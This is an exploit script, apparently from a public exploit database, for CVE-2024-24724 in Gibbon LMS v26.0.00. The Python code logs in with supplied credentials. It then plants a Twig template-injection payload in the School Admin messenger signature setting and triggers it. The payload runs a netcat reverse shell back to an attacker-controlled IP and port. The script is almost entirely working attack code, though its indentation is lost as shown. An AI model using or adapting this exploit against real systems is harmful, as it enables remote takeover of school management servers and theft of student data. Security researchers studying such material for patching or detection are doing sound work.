# Exploit Title: Gibbon LMS has an SSTI vulnerability on the v26.0.00 version
# Date: 21.01.2024
# Exploit Author: SecondX.io Research Team(Islam Rzayev,Fikrat Guliev, Ali Maharramli)
# Vendor Homepage: https://gibbonedu.org/
# Software Link: https://github.com/GibbonEdu/core
# Version: v26.0.00
# Tested on: Ubuntu 22.0
# CVE : CVE-2024-24724
import requests
import re
import sys
def login(target_host, target_port,email,password):
url = f'http://{target_host}:{target_port}/login.php?timeout=true'
headers = {"Content-Type": "multipart/form-data; boundary=---------------------------174475955731268836341556039466"}
data = f"-----------------------------174475955731268836341556039466
Content-Disposition: form-data; name="address"
-----------------------------174475955731268836341556039466
Content-Disposition: form-data; name="method"
default
-----------------------------174475955731268836341556039466
Content-Disposition: form-data; name="username"
{email}
-----------------------------174475955731268836341556039466
Content-Disposition: form-data; name="password"
{password}
-----------------------------174475955731268836341556039466
Content-Disposition: form-data; name="gibbonSchoolYearID"
025
-----------------------------174475955731268836341556039466
Content-Disposition: form-data; name="gibboni18nID"
0002
-----------------------------174475955731268836341556039466--
"
r = requests.post(url, headers=headers, data=data, allow_redirects=False)
Session_Cookie = re.split(r"s+", r.headers['Set-Cookie'])
if Session_Cookie[4] is not None and '/index.php' in str(r.headers['Location']):
print("login successful!")
return Session_Cookie[4]
def rce(cookie, target_host, target_port, attacker_ip, attacker_port):
url = f'http://{target_host}:{target_port}/modules/School%20Admin/messengerSettingsProcess.php'
headers = {"Content-Type": "multipart/form-data; boundary=---------------------------67142646631840027692410521651", "Cookie": cookie}
data = f"-----------------------------67142646631840027692410521651
Content-Disposition: form-data; name="address"
/modules/School Admin/messengerSettings.php
-----------------------------67142646631840027692410521651
Content-Disposition: form-data; name="enableHomeScreenWidget"
Y
-----------------------------67142646631840027692410521651
Content-Disposition: form-data; name="signatureTemplate"
{{{{['rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {attacker_ip} {attacker_port} >/tmp/f']|filter('system')}}}}
-----------------------------67142646631840027692410521651
Content-Disposition: form-data; name="messageBcc"
-----------------------------67142646631840027692410521651
Content-Disposition: form-data; name="pinnedMessagesOnHome"
N
-----------------------------67142646631840027692410521651--
"
r = requests.post(url, headers=headers, data=data, allow_redirects=False)
if 'success0' in str(r.headers['Location']):
print("Payload uploaded successfully!")
def trigger(cookie, target_host, target_port):
url = f'http://{target_host}:{target_port}/index.php?q=/modules/School%20Admin/messengerSettings.php&return=success0'
headers = {"Cookie": cookie}
print("RCE successful!")
r = requests.get(url, headers=headers, allow_redirects=False)
if __name__ == '__main__':
if len(sys.argv) != 7:
print("Usage: script.py <target_host> <target_port> <attacker_ip> <attacker_port> <email> <password>")
sys.exit(1)
cookie = login(sys.argv[1], sys.argv[2],sys.argv[5],sys.argv[6])
rce(cookie, sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])
trigger(cookie, sys.argv[1], sys.argv[2])
contact :